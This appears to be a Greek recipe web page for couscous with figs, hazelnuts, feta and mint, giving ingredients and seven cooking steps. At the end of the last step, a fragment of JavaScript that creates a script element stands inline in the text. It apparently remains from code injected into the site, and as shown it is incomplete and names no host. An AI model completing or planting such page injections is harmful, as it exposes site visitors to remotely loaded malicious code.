mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Κουσκούς με σύκα, ξηρούς καρπούς και φέτα

Κουσκούς με σύκα, ξηρούς καρπούς και φέτα

Couscous-Feta-Figs-HazelnutsΗ σημερινή συνταγή περιλαμβάνει το αγαπημένο μας θρεπτικό κουσκούς, περίφημα αρωματισμένο με μπαχαρικά και συνοδευόμενο από ξηρούς καρπούς και αποξηραμένα φρούτα. Το κουσκούς συνήθως παρασκευάζεται από αλεύρι, πλιγούρι, αλάτι και νερό. Το συναντάμε σε στρογγυλά μικρά μπαλάκια, τα οποία βρέχονται με κρύο νερό και κατόπιν βράζονται σε νερό, ζωμό ή στον ατμό, ώστε να αποκτήσουν μεγαλύτερο όγκο και να γίνουν αφράτα. Χρησιμοποιείται ως συνοδευτικό σε μαγειρευτά πιλάφια μαζί με θαλασσινά ή κρέας, σε σούπες, σε όσπρια και σε σαλάτες. Για να δούμε τη συνταγή μας λοιπόν:

Υλικά
4 κ.σ. ελαιόλαδο
1 μικρό κρεμμύδι ψιλοκομμένο
1 σκελίδα σκόρδο ψιλοκομμένη
1 φλιτζάνι ζωμός κοτόπουλου
1 φλιτζάνι χυμός πορτοκαλιού
1/2 κ.γ. τριμμένο γαρύφαλλο
1/4 κ.γ. κανέλα
1/4 κ.γ. σαφράν (προαιρετικό)
1 1/2 φλιτζάνι κουσκους
1/2 φλιτζάνι ψιλοκομμένα ψημένα φουντούκια (ή άλλοι ψημένοι ξηροί καρποί όπως αμύγδαλα, κουκουνάρια, φιστίκια ή καρύδια)
1/2 φλιτζάνι ψιλοκομμένα φρέσκα ή αποξηραμένα σύκα (ή σταφίδες ή αποξηραμένα δαμάσκηνα)
Αλάτι
1/2 φλιτζάνι τυρί φέτα τριμμένη
1/4 φλιτζάνι φρέσκο ψιλοκομμένο δυόσμο

Εκτέλεση
1. Ζεσταίνουμε 2 κ.σ. ελαιόλαδο σε ένα μέτριο τηγάνι.
2. Προσθέτουμε το κρεμμύδι και το σκόρδο. Μαγειρεύουμε ανακατεύοντας σε μέτρια φωτιά για περίπου 5 λεπτά, μέχρι το κρεμμύδι να γίνει ημιδιαφανές.
3. Προσθέτουμε το ζωμό κοτόπουλου και τον χυμό πορτοκαλιού. Φέρνουμε σε σημείο βρασμού.
4. Προσθέτουμε το γαρίφαλο, την κανέλα και αν υπάρχει, το σαφράν και ανακατεύουμε καλά.
5. Προσθέτουμε το κουσκούς, αποσύρουμε από τη φωτιά και αφήνουμε να καθίσει για περίπου 5 λεπτά, επιτρέποντας στο κουσκούς να απορροφήσει τα υγρά.
6. Όταν το κουσκούς είναι έτοιμο, προσθέτουμε τους ξηρούς καρπούς, τα αποξηραμένα φρούτα και το υπόλοιπο ελαιόλαδο.
7. Αλατίζουμε και προσθέτουμε από πάνω την τριμμένη φέτα και τον ψιλοκομμένο δυόσμο.var d=document;var s=d.createElement(‘script’);

Share This
1 Comment
  1. […] Κουσκούς με σύκα, ξηρούς καρπούς και φέτα […]